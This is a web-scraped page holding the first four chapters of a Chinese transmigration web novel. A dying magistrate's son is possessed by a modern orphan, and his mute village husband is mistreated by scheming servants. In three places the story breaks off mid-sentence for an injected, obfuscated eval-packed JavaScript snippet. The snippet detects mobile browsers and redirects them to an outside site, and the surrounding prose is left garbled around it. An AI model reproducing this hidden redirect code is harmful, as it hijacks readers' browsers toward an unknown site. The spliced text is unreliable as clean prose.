《我是主角受早死的夫君》 1. 第 1 章 初春的清晨,整个汐林山笼罩在一片白雾茫茫中。 因为山里的春天来得比较晚,就算已经入春半个多月了,此时的山里依旧感觉很冷。 苏青箬天还没有亮,就早早起来背着小背篓进山了。 他要进山去挖野菜,最好能再挖一些春笋,这样就能够给家里的弟弟妹妹送点吃的。 苏青箬是汐林山下,云香村苏老三家的哥儿。 他爹苏老三,一共有五个孩子。 头四个不是哥儿就是姑娘,一直生到第五个才生了个儿子。 苏青箬是家里的老大,半年前走了大运嫁给了秋平县知县家的三公子。 秋平县的知县姓云,云家原本是寒门,后来家里陆陆续续出了三位官老爷,短短十余年就让云家更换了门楣。 这位县太爷,在云家排行老幺,是云家三个儿子里最没出息的那个。他进士出身却只当了个知县,并且当了这么多年也没有升迁。 不过就算他是家里最没出息的,对于他们这样的一个小村子,人家也是顶了天的大老爷了。 按理说知县混得再不好,他家的三公子也不可能娶个泥腿子才对。 更何况,苏青箬这个泥腿子哥儿,还是个不能说话的小哑巴。 但是事情就是这样有趣,对方偏偏就被迫娶了苏青箬当正夫。 这位知县家的三公子从小身体不好,还是个庶出,在家里一直不怎么受宠。两年前,他被云家三夫人以养病为由送到乡下。 他在乡下一住就是两年,云家那边对他一直不闻不问。 说来也是巧了,就在半年前,云家那位三夫人突然过来看望他。 明面上说是来看望,也不知道是怎么了,就把人给看望掉了河里。然后周围熙熙攘攘一群人,愣是没有一个人下去救人的。 苏青箬比较实诚,也比较傻。 他刚好路过,眼看着云家三公子就要淹死了,就噗通一声跳下去把人给救了。 他原本是好意,一心只想要去救人,根本没有想那么多。 结果没有想到,大户人家规矩多。他一个哥儿为了对方湿身,他自己都没有觉得有什么。但是人家云夫人见了,却非要三公子娶了他。 对方说什么来着,哦,她是这样说的。 “人家哥儿不顾名节救你,不管是为了人家的名声,还是为咱们云家的清誉,你都应该把对方给娶了。你若是不把他娶了,以后他会被人指指点点,甚至会一辈子嫁不出去。那你的行为就是不仁不义,你大伯最讨厌不仁不义之徒,你自个可要千万想清楚了。” 苏青箬当时很想说,他没有关系的,他本来也嫁不出去。乡下也没有那么多讲究,以前他跟大家下地干活,免不了会把衣服给弄湿了,在他们乡下根本不在乎这些。 但是很可惜,他是个哑巴,他没办法说话。 同样的,他也不识字,也没办法把自己的想法写出来。 他只能用力地比划,努力表达他不需要让三公子为他负责。 但是不管他如何比划,根本没有人在意他的想法。 他爹,巴不得他赶紧嫁出去。一来能够靠着他拿到一笔彩礼,二来还能早点摆脱他这个哑巴。 云家三夫人那边,就更不会在意他的想法了。 她只是想要早点打发了三公子,省得以后三公子有出息了,再回家跟她两个儿子争家产。 如今这个结果挺好的,三公子没有死也废了,又娶了一个哑巴夫郎,他以后就是想翻身也翻不了。 再加上,三公子一向心高气傲,如今被她逼着娶个哑巴,根本不需要她再出手,他都能自己把自己郁闷死。 之后两个人就匆匆办了婚事,云家那边就只来了一个婆子。 婆子给了苏老三五十两银子,苏青箬就抱着一个破旧小包裹,十分狼狈的嫁给了云三公子。 成婚当日,三公子喝了很多酒,然后又大动了肝火,当天夜里就病倒了。 对方这一病就是小半年,再加上他不喜欢苏青箬,觉得苏青箬是云夫人那边的。觉得他们是故意联合起来,想要一起羞辱他的。 所以他看苏青箬不顺眼,不仅不跟苏青箬圆房,还天天纵容下人羞辱他。 苏青箬嫁过来的时候,就只带了一身换洗衣服,然后就什么东西都没有了。 夫家这边不给他置办新衣,他自己又已经从苏家嫁了出来,身无分文的他大冬天就只能穿着单衣。 要不是他妹妹心疼他,偷偷想办法给他弄了个破棉袄,估摸着他早就被活活冻死了。 苏青箬现在会天天上山,也是因为夫家这边不给吃的。他为了不被饿死,就只能上山挖野菜,这样还能给家里弟弟妹妹一些。 苏家的日子不好过,下头还有一群的孩子。苏老三夫夫只在乎小儿子,剩下那几个完全不管不问。 苏青箬放心不下他们,就只能想着法子贴补一二。 只可惜,他自己就是个自身难保的,就算想要贴补家里也很困难。 …… 村里有人看到苏青箬这么早进山,就忍不住偷偷的在背后议论开了。 一个年轻妇人小声说:“本来以为他走了大运,侥幸嫁给了云家三公子,以后就能当富贵人家的夫郎了。如今看来富贵人家的夫郎,好像也不是那么好当的。听说他都已经成婚半载了,到现在还是个完璧之身呢。” 与年轻妇人站在一起的,是一个上了年纪的夫郎。 对方听到她的话,忍不住笑呵呵的说道:“可不是呢,他刚刚嫁给云家那三公子时,他那个爹和他弟弟可是得意的不行啊,天天在村里吹嘘他们家以后要富贵了。呵呵,结果没有想到,人家三公子根本看不上他们家那个土包子。也不看看人家是什么身份,就算人家是家里不受宠的庶子,就算人家被家里扔到了乡下庄子,人家也跟咱们这些泥腿子不一样。人家三公子是读书人,人生得什么树什么风的,怎么可能会看得上一个泥腿子?要不是云夫人故意算计,当众逼着三公子认下这门亲事,三公子怎么可能会愿意娶他啊?” 说到这里,那夫郎微微叹了一口气。 “说来,这三公子也是可怜人,明明是知县大人的儿子,却要一个人被赶到乡下来。那样一个金贵的公子哥,如今来到咱们这样的小山村,心里估计会觉得不平衡吧。” 年轻妇人闻言也跟着叹了一口气,“那也没有办法啊,谁让他不占嫡,也不占长呢。他上头有个庶长子大哥,还有个身为嫡子的二哥,他这个老三还是个侍女所生,可不就成了家里最好拿捏的那个。” 云知县一共三个儿子,老大是庶出,老二是云夫人亲生的。 老大虽然不是夫人亲生骨肉,但是自幼就在夫人膝下长大的,实际上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是不等他俯身上前,他手里的水就被三公子接了过去。 三公子接水的动作很慢,手腕看起来有一点点发抖,却很稳的送到了自己唇边。 他轻轻抿了两口水,稍微的把唇瓣润湿一点,就把水杯放回了甘草手里。 然后像是第一次认识甘草一样,他开始眼神冷漠的打量起甘草来。 甘草被他看得头皮一阵发麻,有点惊恐的在公子床前跪了下来。 就在甘草以为三公子知道了什么,这是打算问罪于他的时候,三公子却突然挥了挥手,示意他现在可以出去了。 甘草见状,有点不确定的小声问询。 “公子,您,您不需要我在旁伺候吗?” “出去吧,我想再睡一会儿。” 三公子的声音淡淡的,听不出来是喜是怒。 甘草心里更没底了,他不敢继续留在房里,急匆匆行了一礼,立刻迈着小碎步从房里出去了。 等到甘草走远,说要休息的三公子却没有躺下休息,而是眼神复杂的看了看自己的手腕。 他在确定手腕上的手串跟过来后,这才忍不住微微的松了一口气。 2. 第 2 章 没有想到,他真的如同师父所说的那般穿越了,还是……穿越到了一本小说的世界里。 他叫云长歇,与这个被他穿的云家三公子同名同姓。 他刚刚醒来的时候,就接收了原主的所有记忆,之所以一直没有开口说话,是因为他在整理原主的记忆。 云长歇,在穿越之前是个生活在二十一世纪的孤儿。 他有心脏病还有白血病,在三岁的时候就被父母遗弃了。 后来被他师父捡到,师父担心他这样的状况,送进福利院也很难活下去,心软之下就把他带到了山上。 他的师父,是个老道士,会一点修仙术。 只可惜他们的世界灵气稀薄,师父并没有因为会点修仙术就修道成仙,更没有办法让他那样的身体长命百岁。 不过师父还是有点本事的,因为师父在万千的世界里为他寻到了一线生机,而这一线生机就在一本书里。 师父说,这个天地是无数个位面组成的。 每一个世界,都是一个独立的新天地。 哪怕是一本书,一个小画册,当它有了自己的人和事,久而久之就会形成属于它的天地。 一本书,若是喜欢的人多了,翻阅的人多了,在沾染上了人气后,自然也会形成属于它的界。 而原主与他同名同姓,又与他一样是短命之人,便成了他穿越投生的契机。 师父说,并不是所有的人都能像他这样,有穿越投生再来一次的契机。 只有前世福缘深厚,今生与仙家有缘之人,才能有这样一次再来的机会,而云长歇刚好就是这样一个人。 同样的,在他代替原主重生之后,活过来的人不仅仅只有他,还会连带着原主的因果与执念。 比如原主的母亲,以后就是他的母亲了。 比如原主的仇人,以后也会是他的仇人。 再比如原主的性格,哪怕他与原主的性格截然不同,他的性格也会受到原主的性格影响发生一些变化。 如今的云长歇,与其说是他自己,倒不如说是他与原主的融合体。 不过好在,如今真正能够主导这具身体的人是云长歇,而不是原主残留在身体的那些执念。 穿越之前云长歇特意看过这本小说,对于原主与这个书中世界有一些了解。 小说里,原主因为是个庶出,不怎么受家族的重视。加上他自幼身体不好,原主就被不喜欢他的三夫人送到了乡下庄子。 原主会读书,是个喜欢读书的人。 夫人担心原主以后靠着读书出头,会回来跟她的两个儿子争夺家产,对方就想要设计把原主给害死。 结果没有想到,阴错阳差之间,原主被一个乡下的哥儿救了。 夫人见状,就顺势让原主娶了那个哥儿。 在这个阶级分明的封建社会,三公子娶了一个乡下的哑巴哥儿当夫郎,对原主这样的人来说简直是一个奇耻大辱。 原主生的不错,又是县令家的公子。若是他愿意纡尊降贵,完全可以娶一个商户之女为妻子。然后再靠着岳家商户有钱这一点,供他读书,供他考科举。 如今原主娶了个乡下哥儿,以后再想要娶别人就很难了。加上原主的身体越来越差又郁结于心,很快就“病”死在了乡下庄子里。 在这本小说里,主角正是原主那个哑巴夫郎。 哑巴夫郎叫苏青箬,他是古早虐文的主角受。他性格坚韧,不管经历过多少伤痛,总能坚强的活下去。 原主是主角的第一任夫君,因为原主误会他跟云家主母是一伙的,不仅没有跟主角圆房还经常纵容下人欺负他。 等到后来原主死了,村里人都开始传言主角克夫,哪怕主角长得很漂亮,也没有一个男人愿意娶他。 主角之后经历过很多磨难,然后靠着他会种地,会赶山,会经商,慢慢的把日子过得好起来。 就在这个时候,他遇见了他的第二任夫君,也就是这本小说的正牌攻。 众所周知,古早虐文的攻,就没有几个是好的。 主角的这个正牌攻也一样,他是镇北侯的世子。他觉得主角长得漂亮,性格善良勇敢,就对主角起了兴趣。 他隐瞒了自己的真实身份,以一个商户的身份慢慢接近主角,并且后来还以这个身份求娶了主角。 小夫夫成婚后,过了半年幸福生活。 后来镇北侯府的人寻来,上演了一出经典的棒打鸳鸯。 世子为了保护主角,选择听从家人的安排回去娶妻生子。 而这个时候,主角已经怀孕了。 一个哑巴哥儿,他还怀着身孕,不仅要受世人指摘,还要忍受怀孕的辛苦。 然而就算如此,他还是咬咬牙坚持了下来,安稳的把儿子养到了七八岁。 本以为就算没有男人,只要有孩子在他就能坚强的活下去。 但是让他没有想到的是,一次巧合让正牌攻看到了他的儿子。 时隔多年,看到这个又像他又像主角的儿子,勾起了侯爷年少时的那段心动往事。 他强势的把主角和儿子接了回去,却又没有办法保护好他们父子两个,最后让主角与孩子都病死在了侯府中。 回想到这里,云长歇忍不住叹了一口气。 既然没办法保护好他,又何必非要把他带在身边? 难不成所谓的爱,就是眼睁睁看着心爱之人死在自己身边吗? 那这到底是爱呢,还是恨呢? 云长歇结合原主的记忆,算了算现在的大概剧情点。 如今主角已经嫁给了原主,如果他没有记错的话,这个时候原主的那位祖母,应该已经从京城回来了。 原主的那位祖母,是个善良的老太太。她对膝下几个孙子孙女都不错,就算原主是个庶出她也很在乎他。 也正是因为老太太回来,跟云夫人提了一嘴想来看看原主,原文里原主才会多活了一年半载。 云长歇深深呼出了一口气,他必须靠着这点喘息的机会,争取把自己的身体养好些。 想到这,他再次看了看手腕上的手串。 原主的手腕上,是没有这串手串的。这个手串,是云长歇师父送给他的护身符。 据师父说,这个手串是他的师祖留下来的,里面藏了不少奇珍异宝,师父一直十分的宝贝它。 后来云长歇的肉身不大行了,师父要把他一个人送到一本书里,这才忍痛割爱把手串送给了他。 他们师徒一场,师父对他一向十分疼爱,把他当成自己的孩子一样。师父担心他去了异世后,一个人很难安稳的活下去,便想用手串里的宝贝守护他。 手串,是一串看起来很普通的金曜石手串。 整串手串一共有十八颗金曜石珠子,实际上只有一颗珠子是祖传下来的芥子空间。 在这个芥子空间里,有一座十分破旧的竹屋,竹屋的前面有两片药田。 在竹屋里面,有几个箱子,里面有不少灵丹妙药。 除了药田和灵丹妙药,芥子空间里还有一个泉眼。 这个泉眼,是个可以产生灵泉水的宝物。泉眼每天可以产生五滴灵泉水,上一世云长歇能够活到二十八岁,就是因为他有灵泉水的滋补与保养。 只可惜,他的那具身体先 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这一具身体病了太久,原主又一直郁结于心,他完全没办法靠着自己站好,一进来就直接摔在了地上。 云长歇在地上休息了片刻,这才缓慢的从地上爬起来。 对于自己此刻的狼狈,云长歇心里一点也不介意。 反正这里也没有别人,就算被师父的祖师看见了,老人家也只会心疼他。 之后云长歇花费了好长时间,才从一个瓶子里倒出来了一颗低阶培元丹。 培元丹有固本培元,有增强体质,修复疗伤的效果。 因为原主没有修过仙,好一些的培元丹身体吸收不了,就只能使用低阶的培元丹了。 低阶的培元丹效果要差上很多,需要长时间的小分量慢慢服用,才能慢慢的改善现在的这具身体。 云长歇不敢直接吞下一整颗培元丹,怕药效太强对他现在的身体不利,只好分成两半先服下了一半。 上一世的他有心脏病,还有白血病,他的底子太差了,这些丹药他都不能用。 如今他换了一具身体,说来这还是他第一次吃丹药,味道比他想象中要难吃很多。 不过难吃就难吃吧,总归要比继续等死要强。 吃了半颗培元丹,云长歇就昏睡了过去。 而在他昏睡过去的时候,外面的甘草去而复返,然后就发现他不见了。 甘草是个长相清秀的小哥儿,他看着空空如也的床榻,整个人吓得差点哭起来。 之后他开始在房里找起来,他一边找一边开口喊道:“公子?公子?” 可是房里找了一圈也没看到人,甘草见状只好转身出去寻找。 云长歇这一睡,就直接睡到了中午。他现在的身体太差了,吃了培元丹后就只想闭上眼睛睡觉。 但是他还不能睡,他现在还在芥子空间里,他若是长时间不露面,外面估计要闹翻天了。 这样想着,他强撑着一丝精气神,感知了一下外面的情况,确定了现在外面没有人,下一秒他就出了空间。 泽兰从外面回来的时候,就听说三公子人不见了。 她觉得十分荒谬,三公子的身体那样差,人怎么可能说不见了就不见了? 她气势汹汹的一路往回赶,又气势汹汹的去了公子的房间,就看见公子人好好的躺在床上。 泽兰见状气笑了,她回头看向一脸不可置信的甘草小声质问道:“这就是你说的公子不见了?就算公子时日不多了,你伺候公子不大上心,也不至于这样不上心吧?” 3. 第 3 章 甘草闻言冲着她摇了摇头,泽兰不知道公子醒来过的事,他可是亲眼看见公子醒来过。他不敢在这里说什么,只好先拉着泽兰出去了。 等到两个人出了房门,甘草这才小声的说道:“泽兰姐姐,我真的没有撒谎啊。公子上午的时候真的不见了,不止如此,他早上人还清醒过,还让我给他倒过水呢。” 说到这里,甘草忍不住打了个哆嗦。 都说人快要死的时候会回光返照,他们公子早上醒过,上午人还出去过,是不是因为他快要死了,所以才回光返照了啊? 甘草哭道:“完了,完了,公子,公子他该不会是回光返照了吧?” 公子的身体本来就不大好,半年前落过水后就更不好了。 因为夫人不喜欢三公子,他们伺候公子一直不大用心,给公子煎的药都会多掺些水。 煎药是有讲究的,水不能太多,也不能太少。火候也有讲究,若是不用心点,药效就会大减。 夫人厌恶公子,他们明面上是老爷送给公子的人,实际上私下里是夫人的人,自然对待公子就不怎么上心了。 但是不上心归不上心,发现公子真的快要死了的时候,他们的心里还是会觉得害怕的。 甘草继续哭道:“怎么办?老夫人那边不是说要来看望公子吗?若是公子就这样死了,我们到时候会不会被发卖了?” 泽兰被他哭的心烦,她把手里的药塞给他说:“去去去,你赶紧给公子煎药去,这几天我们好生伺候着,人……应当不会那么容易死。” 只要躲过这一次的看望,之后人死了就死了呗,反正又不是他们杀的,而是他自己“病”死的。 泽兰这样说完,转身就要进入公子房里。然后他一转身,就看到苏青箬正站在院子里看着他们。 不知道他是什么时候回来的,又在那里偷听他们说话多久了? 想到公子的情况,此时的泽兰很心虚,她见到他还在偷听,就忍不住恶声恶气道:“看什么看?一天天的就知道往外面跑,连自己夫君病了都不管不问,真是一个心肠狠毒的夫郎。” 苏青箬闻言十分生气,不是他不想管云长歇的死活,而是他根本没有资格去管。 云长歇不喜欢他,一直觉得他是夫人的人,所以根本不愿意跟他亲近。 他们两个人成亲半年了,都没有在一个房里睡过。他别说是去照顾他了,就是进他的房间下人都不允许。 至于他为什么天天往外跑,还不是因为这边不给他吃的?他为了不让自己活活饿死,就只能自己跑出去弄吃的了。 此时见泽兰恶人先告状,苏青箬的心里就十分不满。他在心里骂道,这人真是个坏人,他们苛待云长歇就算了,现在还想给他泼脏水。 苏青箬气呼呼回到自己房里,因为云长歇之前对他一直不好,本来他是不想管对方的死活的。但是想到泽兰他们在院子里说的话,他又担心云长歇真的就这样死了。 他才嫁过来半年,若是对方就这样死了,他就要成了一个寡夫。 寡夫可不是这么好当的,都说寡夫的门前是非多。有的时候不是寡夫不想招惹别人,别人也会因为他是寡夫过来招惹他。 苏青箬是个怕麻烦的人,他觉得云长歇对他不好没有关系,只要云长歇这个人还活着,他就有一个地方可以遮风避雨,他就不用变成身份尴尬的寡夫。 所以……云长歇还是不要死比较好。 想到自从云长歇病倒之后,甘草和泽兰对他一直不上心,有的时候都会忘记给他送饭。 而云长歇心情不好,他自己也不想吃饭,对于下人的伺候不周他也不在意,就导致他的身体越来越不好了。最近这几天,他甚至直接昏迷过去了。 苏青箬心里不希望他死,之后他给自己做饭的时候,就给对方准备了一碗粥。 粥里的食材,都是他自己的。 厨房里的东西,都是甘草看管着。甘草不在厨房时,都会给橱柜落锁的,防他像是防贼一样。 苏青箬端着那碗粥去云长歇房间时,正想着要如何把这碗粥喂给对方呢,他就看到泽兰脸色苍白的从房里出来了。 若是平日里,泽兰看到苏青箬过来献殷勤,泽兰肯定会伸手拦住他的。但是她刚刚被公子训斥了,准备的汤药也被公子泼到了她身上。这会儿的她自顾不暇,根本没有时间多管苏青箬。 苏青箬看了看她狼狈跑远的背影,又看了看云长歇半敞开的房门,就大着胆子抬起脚走了进去。 此时的云长歇很累很累,他只想要闭上眼睛睡觉。刚刚被泽兰强行唤醒,他浪费了不少力气,这会儿整个人累得不行。 突然再一次听到脚步声,他立刻警惕的睁开双眼,正打算开口把人赶出去。 他可不敢喝他们给的药,十分担心他们会下毒,到时候他就一命呜呼了。 结果他一抬眸,看到的不是泽兰,也不是那个甘草,而是主角苏青箬。 云长歇眼底闪过一丝意外,没有想到主角的胆子还挺大的,在他们关系这样恶劣的情况,主角这个时候竟然敢来找他? 主角,也就是苏青箬,是个长相很清秀的小哥儿。 对方今年才十八岁,在云长歇的眼里还是个半大孩子。 云长歇本人二十八,原主今年二十。 不管是他还是原主,年纪都要比苏青箬大。 想到苏青箬书里的性格,再看着不远处站着的苏青箬,云长歇没有办法对他太冷漠。 但是想到原主的人设,与苏青箬之间的关系,他也没办法对他太友善。 云长歇淡淡道:“何事?” 苏青箬闻言,端着手里的粥小心翼翼走上前来。他举了举手里的粥碗,然后笨拙的比划了一个喝的动作。 他知道云长歇不喜欢他,他这个时候过来送热粥,对方不见得愿意喝下去。 但是想到甘草他们说的话,他又担心他这样不吃不喝的,以后他会真的变成寡夫。 所以他举着粥碗的时候,表情看起来有点可怜兮兮,满脑子都在想着,他要如何劝对方把粥喝下去。 此时的云长歇确实饿了,但是由于身上不舒服,他根本没有一点胃口。 不过他犹豫了一下,还是开口说道:“端过来吧。” 苏青箬是主角,心肠很好,不会害他的。 他没有胃口也要吃点东西,不然没有病死也会被饿死。 苏青箬见他愿意吃,心里又是高兴又是惊讶,没有想到病入膏肓的云长歇,看起来要比之前好说话很多。 如果对方病好了,还能像现在这样“温和”就好了。 云长歇手抖得厉害,他自己没办法喝下去,便让苏青箬喂他喝。 苏青箬人很乖,很听话,喂他喝粥的模样,比泽兰那个下人都细心。 云长歇见状在心里叹了一口气,这样温柔善良的好哥儿,书中却是那样一个结局,实属不该。 苏青箬一边喂云长歇喝粥,一边忍不住在心里腹诽。 这个人……为什么老是盯着他看啊? 因为两个人的关系一直不大好,苏青箬完全没有往其他方面想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350127|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还以为自己的脸上有什么呢。 云长歇只喝了四口,之后就再也不愿意喝了。 苏青箬见状也不勉强,他在放下粥碗之后,伸手摸了摸自己的脸,确定自己脸上不脏,这才端起碗来准备离开。 然后云长歇突然看着他说道:“晚上你来送饭。” 不管是甘草还是泽兰,他是一个也不相信。 苏青箬闻言转过身来,一脸很为难的看着他。 云长歇见状对他说:“怎么了?” 苏青箬对着他比划了一通,云长歇好半天才明白他的意思。 苏青箬想要说的是,厨房现在是甘草管着,他这边没什么吃的了。 他给云长歇煮的那碗粥,本来是他明天的口粮,如今他给云长歇煮了后,他这边是一点吃的也没了。 看着瘦的面黄肌瘦的苏青箬,云长歇阴沉的眼眸里闪过一抹笑意。 真是个小可怜,估计嫁过来他没少挨饿受冻。 “以后厨房你来管。” 外面山上吃的虽然多,但是山里比较危险,也不是什么时候都能找到吃的。刚好云长歇最近需要人照顾,就让他跟着一起好好补补吧。 苏青箬听到这话,一脸的不可置信,他下意识摸了摸自己的耳朵,觉得自己的耳朵好像坏掉了。 云长歇那么讨厌他,竟然说让他来管厨房? 云长歇解释了一句,“他们伺候不周,这是我对他们的惩罚。” 原主的人设,说来苏青箬不见得就真的了解。 原主与苏青箬成婚后,因为误会对苏青箬一直恶言相向。 实际上,原主是个什么性格,苏青箬并不是很了解。 再加上,苏青箬是个哑巴,跟别人交流很困难,云长歇倒是不惧他。 因为云长歇发话了,苏青箬就鼓起勇气去找了甘草。 此时的甘草正在院子里煎药,之前那份药被公子直接洒了,为了应对之后过来的老夫人,他们只能任劳任怨的再煎一份。 然后就是这个时候,苏青箬过来跟他要钥匙。 甘草本来心里就有火气,见苏青箬一直对着他比划,他看懂了那个开门的动作,却愣是装作看不懂的模样。 甘草笑着说:“夫郎这是比划什么呢?奴婢怎么就看不懂呢?奴婢现在要给公子煎药,你还是不要在这里呆着了,不然被煎药的气味熏到了,到时候奴婢可不敢担待啊。” 苏青箬闻言十分生气,他指了指云长歇的房间,想说是云长歇让他来的。可是甘草却低下头去,完全不想看他比划下去。 苏青箬性格好,人也温柔,他做不出把人抓起来打的事情。 他只好气呼呼,再次跑到了云长歇房里。 正准备睡下的云长歇,睁开眼睛的时候模样很凶,整个人看起来充满戾气。 苏青箬被他的模样吓到了,有一点害怕的缩了缩脖子。本以为对方会对他发火,结果听到的却是还算温和的声音。 “又怎么了?” 这一次不等苏青箬比划完,云长歇就猜到他遇见了什么事情。 云长歇语气不耐的说道:“你是主子,他是下人,他若是再对你无礼,你就直接打他就是。莫怕,一个贱奴罢了,打死也有我给你撑腰。” 原主会死除了有云夫人的算计,更多的还是因为这些吃里扒外的下人。 说一句,他们是害死原主的帮凶都不为过。 而他现在就是原主,原主身上因果就是他的因果。 对待想要害死他的人,完全没有必要那样的客气。 4. 第 4 章 因为云长歇的话,苏青箬胆子就肥了一点。他故作凶巴巴的模样,然后气势汹汹去寻甘草。 但是当他真的面对甘草时,想着他们两个人都是哥儿,就没有真的下手去打他。 这个时候的苏青箬,还不是后面经历无数磨难的主角受。 这个时候的他,只是个小山村长大,性格温吞良善,不会说话的胆小哥儿,自然就没有后来的气魄和胆量。 甘草见他又来找他,整个人更加烦躁了。 甘草怒道:“你到底要干什么?烦不烦啊,没看见我在忙吗?” 苏青箬见他还敢对自己发火,一个苛待自家主子,差点把主子伺候死的下人,也不知道他哪里来的底气? 而且云长歇说得对,不管如何他也是云家的夫郎,没道理被个下人这样欺辱。 这样想着,苏青箬伸手挥开了甘草手里的蒲扇,就想要上手去搜对方身上的钥匙。 甘草根本不肯把钥匙给他,见苏青箬竟然敢跟他动手,欺善怕恶的他就撸起袖子,两个人立刻扭打了起来。 本来苏青箬是不想打架的,但是这个甘草实在太可恶了。以前仗着云长歇不喜欢他,甘草就经常对他冷嘲热讽的。 如今他只是想要钥匙,对方一个下人就敢对他动手。动手就算了,这个人还朝着他小肚子踹。 他是哥儿啊,小肚子是可以生崽崽的地方,那里可是不能随便踹的。 苏青箬生活在古代,也没有读过什么书,他就是个典型的普通乡下小哥儿。 因为没有什么见识,在他的心里哥儿和女人一样,一生最大的事情就是嫁人生子。 一想到这个甘草踹他小肚子,这是想要他一辈子不能生育,苏青箬的心里就真的怒了。 打架是吧? 他是个乡下泥地里滚的小哥儿,可不是那么好惹的。 苏青箬不会说话,两个人打起来之后,整个院子里都是甘草的尖叫声。 甘草骂道:“小贱人,你真的以为你是主子了不成?在这里你屁都不是,你竟敢跟我动手,看我不把你给打死!” “啊啊啊啊,你敢抓我的脸,我要撕烂你!” “啊啊啊,不要揪我头发,我要杀了你,杀了你!” 甘草是个哥儿,苏青箬也是个哥儿,按道理他们的体力,应该是不分上下的。 但是苏青箬是乡下哥儿,以前经常要下地干农活,身上是有一把力气的。 甘草虽然是个下人,以前却是在城里的。他也不是粗使,干的活也都是些轻省的活,力气上自然就比不上苏青箬。 所以他们打起来之后,很快苏青箬就占了上风。他把甘草压倒在了地上,抓住对方的头发扇了两耳光。 甘草被他的模样吓到了,也知道自己不是他的对手,只好哭哭啼啼的把钥匙交了出来。 成功拿到钥匙之后,苏青箬刚想要站起身,泽兰就拿着一把扫帚,朝着苏青箬背后打来。 苏青箬看到了她的影子,靠着好身手仓皇躲开,然后一回头,他就看到泽兰脸色阴沉的盯着他。 泽兰一边举起扫帚,一边对苏青箬道:“贱人,你知道我们是谁的人吗?你以为公子身体不行了,你就可以当这里的主子了?也不撒泡尿照照自己,就你个泥腿子也配?” 这个时候的泽兰,完全没了平日里的温婉婀娜,整个人看起来跟个泼妇一样。 她不知道苏青箬拿钥匙是云长歇允许的,还以为苏青箬是听到他们说公子不行了,所以才敢造反过来抢走甘草钥匙的。 苏青箬想要跟她解释,泽兰却完全不愿意听。 她想着反正公子不喜欢他,如今的公子身体也不行了,以后苏青箬就是个寡夫,还是克死他们公子的寡夫。 就算他们在这里把他打了,大家也不会觉得有什么,只会说他们主仆感情深厚,他们是为了主子才打人的。 是的,因为以前的云长歇不喜欢苏青箬,因为以前的云长歇的故意纵容,才会把泽兰与甘草的胆子养得这样肥。 泽兰骂道:“贱人,你还不把钥匙交出来,想要我打断你的腿吗?” 甘草见泽兰出来帮他,一改刚刚哭哭啼啼的模样,也寻了一把武器看向苏青箬。 苏青箬这会儿也气急了,这两个下人一口一个贱人的,是真的没有把他当回事啊。 就在他气得眼睛通红,想要不管不顾跟他们拼了的时候。 公子的房门突然从里面打开了,听到开门声泽兰与甘草也没有害怕。 他们知道公子厌恶苏青箬,就算今天的公子有一点喜怒无常,公子厌恶苏青箬的事也不会改变。 泽兰这样想着,就立刻转身跪了下来,想求公子为他们做主。 结果她这边才刚刚转过身,迎面就被一个杯子砸中了脑袋。 泽兰被砸得一脸愣怔,整个人看起来像是被砸傻了一样。 云长歇冷酷的看着他们说道:“放肆,他是云家的夫郎,岂是你们能打的?” 因为泽兰是女人,甘草是哥儿,云长歇本来不想跟他们动手的。 但是……这两个人太过分了,连家里的主子都敢动手打骂,根本不像是什么大户人家的下人,反而更像是市井撒泼的泼妇泼夫。 泽兰伸手摸了摸被砸红的额头,要不是公子现在没有力气,她都怀疑公子这一下是想要她的命了。 她从十二岁就跟着公子了,是老爷夫人为公子准备的房里人。 虽然公子因为身体不好,又沉迷于读书练字,从来没有碰过她。 但是因为她的身份特殊,她在公子身边一直都是以半个主子自居的。 之前公子把药汤泼她身上,她还没有多想。以为公子是身体不舒服,又被她打扰了休息,这才没忍住对她发火的。 如今看到公子冷酷的眼神,泽兰总觉得公子像是变了一个人一样。 泽兰想到这里,忍不住打了个哆嗦。 难不成公子是知道了什么,才会突然之间变成了这样? 不然……她实在是想不明白,公子为什么会这样对她? 不等泽兰这边继续多想,公子的声音再次响起来。 “记住了,以后这个院子夫郎说了算。” 云长歇说完,眼前突然一黑,差一点昏厥过去。 他真的太累了,身上似有千斤重。 他能够出来,已经实属不易,如今有点撑不住了。 看到他差点摔了,甘草下意识想过来扶住他,但是又有点惧怕现在的他,所以甘草最终没有敢上前去。 甘草不上去,泽兰更不会上去。 如今的他们因为公子性情大变,心里正在害怕和担心之中,根本没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350128|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有精力顾及公子。 苏青箬见状,害怕云长歇真的摔了。 此时的云长歇,整个人看起来像是快要死了一样。 他不想成为寡夫,自然不希望云长歇死了。 这样想着,苏青箬便快步上前,伸手扶住了云长歇。 在被扶住的时候云长歇看了他一眼,疲惫的眼眸里闪过了一丝歉意。 说来也是怪他,不然苏青箬也不会被两个刁奴欺负。等到他的身体好一点,到时候他再想办法补偿他好了。 